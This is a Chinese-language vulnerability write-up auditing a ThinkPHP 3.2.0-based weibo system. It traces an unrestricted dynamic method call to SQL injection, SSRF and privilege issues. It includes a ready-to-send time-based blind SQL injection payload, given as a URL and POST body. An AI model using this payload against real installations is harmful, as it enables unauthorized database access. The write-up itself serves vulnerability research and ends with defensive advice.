前言
该系统是基于Thinkphp3.2.0开发的,审计时发现一处可以动态调用函数的地方,虽然受到一定限制,但是还是可以通过这里进行SQL注入,还阔以SSRF以及越权操作
漏洞分析
先看漏洞函数,在/Application/Weibo/Model/ShareModel.class.php:8
1 2 3 4 5 6 7 8 9 10 11 12 13
| class ShareModel extends Model { public function getInfo($param) { $info = array(); if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){ $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); }
return $info; }
}
|
这里的$param['method']($param['id'])
使我们可以控制部分函数,且该函数仅需接受一个参数,这就是限制的地方。接下来需要做的就是寻找该系统中满足要求的函数,然后通过构造来调用。
接着看该函数的调用,在/Application/Weibo/Controller/ShareController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function doSendShare(){ $aContent = I('post.content','','text'); $aQuery = I('post.query','','text'); parse_str($aQuery,$feed_data); ... $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);
$info = D('Weibo/Share')->getInfo($feed_data); $toUid = $info['uid']; $message_content=array( 'keyword1'=> parse_content_for_message($aContent), 'keyword2'=>'分享了你的:', 'keyword3'=>$info['title']?$info['title']:"未知内容!" );
|
调用处是分享微博(该系统的帖子)的地方,接受数据后使用text函数过滤,该函数基本只能过滤标签,对我们的利用没啥影响。
另外,系统只有这一处调用点,且受后面语句影响,没有返回信息,而且过多的报错后,用户账号还会被冻结之类的
漏洞利用
SQL注入
能用来注入的点有很多,后台有一些where中拼接SQL语句的地方可以用,但其实根本不需要,像下面这样的点就可以,/Application/Common/Model/ActionLimitModel.class.php:29
1 2 3 4 5 6 7 8 9
| public function getActionLimit($where){ $limit = $this->where($where)->find(); return $limit; }
public function getList($where){ $list = $this->where($where)->select(); return $list; }
|
像这样的点本身出于安全考虑,传入的$where都是数组,但是我们可以直接传入一个恶意的字符串来利用。利用前,再回头看到调用处的微博分享:
1 2 3 4 5 6 7
| $info = D('Weibo/Share')->getInfo($feed_data); $toUid = $info['uid']; $message_content=array( 'keyword1'=> parse_content_for_message($aContent), 'keyword2'=>'分享了你的:', 'keyword3'=>$info['title']?$info['title']:"未知内容!" );
|
这段是会返回$info[‘title’]的,其实只要找到一个利用点有这个字段,就可以直接注出内容了,但是我并没有找到。数据库报错默认又不开启,只剩时间盲注,但是跑盲注得注意的是:每提交一次payload,会分享一篇微博,下一次提交的payload在数据库就会多执行一次,睡眠时间就会延长,且动作明显较大
所以正确的方法应该是在微博数一定的情况下,提交一次payload,提交微博删除操作,这一切最好靠脚本完成,脚本能力差的我就讲到这吧,嘻嘻
payload:
[URL]:http://127.0.0.1/index.php?s=/Weibo/Share/doSendShare.html
[POST]:content=a&query=from%3d1%26app%3dCommon%26model%3dActionLimit%26method%3dgetList%26id%3d1%253d1 and if((substr(user(),1,1)='r'),sleep(2),1)

SSRF
利用点:/Application/Admin/Model/CurlModel.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function curl($url) { $cookie_file = 'Runtime/cookie.txt'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11'); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
if (isset($_SESSION['cloud_cookie'])) { curl_setopt($curl, CURLOPT_COOKIE, $this->getCookie(array('PHPSESSID' => $_SESSION['cloud_cookie']))); } $result = curl_exec($curl);
|
其他
由于找函数基本翻遍了model文件,除了有越权操作外,其中有一个地方还能让我们扩大利用范围,如下/Application/Common/Model/ScheduleModel.class.php
1 2 3 4 5 6 7
| public function runSchedule($schedule) { if ($schedule['status'] == 1) { $method = explode('->', $schedule['method']); parse_str($schedule['args'], $args); try { $return = D($method[0])->$method[1]($args, $schedule);
|
看到没,又是函数的动态调用,且两个参数可控,也是因为这个利用点,我又翻了几遍文件,刚了几次都没有实现前台Getshell,怪我太菜了…
总结
函数的动态调用危害极大,使用时一定得做全面的限制,审计时可以多注意这种地方